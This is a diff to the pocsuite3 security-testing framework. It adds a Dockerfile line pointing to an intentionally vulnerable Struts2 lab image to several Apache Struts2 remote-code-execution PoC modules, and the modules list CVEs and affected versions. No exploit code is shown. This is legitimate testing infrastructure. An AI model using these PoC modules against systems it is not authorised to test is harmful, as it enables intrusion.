--- a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
@@ -24,6 +24,7 @@ class DemoPOC(POCBase):
desc = '''S2-045:影响版本Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
index d9c43e5c..f5304023 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
@@ -21,6 +21,7 @@ class DemoPOC(POCBase):
desc = '''S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
index dd5fdf34..ba7cc3d7 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
@@ -23,6 +23,7 @@ class DemoPOC(POCBase):
desc = '''S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
index 7f83264d..8b0a235e 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
@@ -22,6 +22,7 @@ class DemoPOC(POCBase):
desc = '''S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数;'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
index 9ca50906..a56beb14 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
@@ -25,6 +25,7 @@ class DemoPOC(POCBase):
desc = '''S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10.1; '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
index aeef9150..dad59a6b 100755
--- a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
+++ b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
@@ -39,6 +39,7 @@ class DemoPOC(POCBase):
'''
samples = []
install_requires = ['']
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py b/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
index 5e262a26..8e113fce 100755
--- a/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
+++ b/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
@@ -30,6 +30,7 @@ class DemoPOC(POCBase):
'''
samples = []
install_requires = ['']
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()
diff --git a/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py b/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py
index 05b07ddb..a44db2bf 100755
--- a/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py
+++ b/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py
@@ -536,6 +536,7 @@ class DemoPOC(POCBase):
desc = '''
Apache Struts 2 Log4j RCE
'''
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _rce(self):
flag = random_str()
diff --git a/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
index ab445efa..b226b507 100644
--- a/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
+++ b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
@@ -21,6 +21,7 @@ class DemoPOC(POCBase):
desc = ''''''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+ dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
def _options(self):
o = OrderedDict()